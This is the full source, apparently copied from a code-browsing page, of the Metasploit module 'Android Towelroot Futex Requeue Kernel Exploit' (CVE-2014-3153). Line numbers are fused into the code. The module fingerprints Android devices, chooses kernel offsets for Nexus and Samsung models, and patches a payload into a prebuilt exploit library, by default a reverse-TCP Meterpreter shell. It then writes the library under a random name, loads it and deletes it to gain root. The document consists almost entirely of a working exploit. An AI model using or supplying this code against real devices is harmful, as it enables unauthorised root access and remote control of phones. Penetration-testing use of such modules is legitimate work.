Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/android/local/futex_requeue.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Common10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit",18'Description' => %q{19This module exploits a bug in futex_requeue in the Linux kernel, using20similar techniques employed by the towelroot exploit. Any Android device21with a kernel built before June 2014 is likely to be vulnerable.22},23'License' => MSF_LICENSE,24'Author' => [25'Pinkie Pie', # discovery26'geohot', # towelroot27'timwr' # metasploit module28],29'References' => [30[ 'CVE', '2014-3153' ],31[ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],32[ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],33],34'DisclosureDate' => '2014-05-03',35'SessionTypes' => [ 'meterpreter' ],36'Platform' => [ "android", "linux" ],37'Payload' => { 'Space' => 2048, },38'DefaultOptions' => {39'WfsDelay' => 300,40'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',41},42'Notes' => {43'Stability' => [CRASH_SAFE],44'SideEffects' => [],45'Reliability' => [],46'AKA' => ['towelroot'] },47'DefaultTarget' => 0,48'Targets' => [49# Automatic targetting via getprop ro.build.model50['Automatic Targeting', { 'auto' => true }],5152# This is the default setting, Nexus 4, 5, 7, etc53[54'Default',55{56'new_samsung' => false,57'iovstack' => 2,58'offset' => 0,59'force_remove' => false,60}61],6263# Samsung devices, S3, S4, S5, etc64[65'New Samsung',66{67'new_samsung' => true,68'iovstack' => 2,69'offset' => 7380,70'force_remove' => true,71}72],7374# Older Samsung devices, e.g the Note 275[76'Old Samsung',77{78'new_samsung' => false,79'iovstack' => 1,80'offset' => 0,81'force_remove' => true,82}83],8485# Samsung Galaxy Grand, etc86[87'Samsung Grand',88{89'new_samsung' => false,90'iovstack' => 5,91'offset' => 0,92'force_remove' => true,93}94],95],96'Compat' => {97'Meterpreter' => {98'Commands' => %w[99core_loadlib100stdapi_fs_delete_file101stdapi_fs_getwd102]103}104},105}106)107)108end109110def check111os = cmd_exec("getprop ro.build.version.release")112unless Rex::Version.new(os) < Rex::Version.new('4.5.0')113vprint_error "Android version #{os} does not appear to be vulnerable"114return CheckCode::Safe115end116vprint_good "Android version #{os} appears to be vulnerable"117118CheckCode::Appears119end120121def exploit122if target['auto']123product = cmd_exec("getprop ro.build.product")124fingerprint = cmd_exec("getprop ro.build.fingerprint")125print_status("Found device: #{product}")126print_status("Fingerprint: #{fingerprint}")127128if [129"mako",130"m7",131"hammerhead",132"grouper",133"Y530-U00",134"G6-U10",135"g2",136"w7n",137"D2303",138"cancro",139].include? product140my_target = targets[1] # Default141elsif [142"klte", # Samsung Galaxy S5143"jflte", # Samsung Galaxy S4144"d2vzw" # Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0)145].include? product146my_target = targets[2] # New Samsung147elsif [148"t03g",149"m0",150].include? product151my_target = targets[3] # Old Samsung152elsif [153"baffinlite",154"Vodafone_785",155].include? product156my_target = targets[4] # Samsung Grand157else158print_status("Could not automatically target #{product}")159my_target = targets[1] # Default160end161else162my_target = target163end164165print_status("Using target: #{my_target.name}")166167local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-3153.so")168exploit_data = File.read(local_file, mode: 'rb')169170# Substitute the exploit shellcode with our own171space = payload_space172payload_encoded = payload.encoded173exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))174175# Apply the target config176offsets = my_target.opts177config_buf = [178offsets['new_samsung'] ? -1 : 0,179offsets['iovstack'].to_i,180offsets['offset'].to_i,181offsets['force_remove'] ? -1 : 0,182].pack('I4')183exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf)184185workingdir = session.fs.dir.getwd186remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"187write_file(remote_file, exploit_data)188189print_status("Loading exploit library #{remote_file}")190session.core.load_library(191'LibraryFilePath' => local_file,192'TargetFilePath' => remote_file,193'UploadLibrary' => false,194'Extension' => false,195'SaveToDisk' => false196)197print_status("Loaded library #{remote_file}, deleting")198session.fs.file.rm(remote_file)199print_status("Waiting #{datastore['WfsDelay']} seconds for payload")200end201end202203204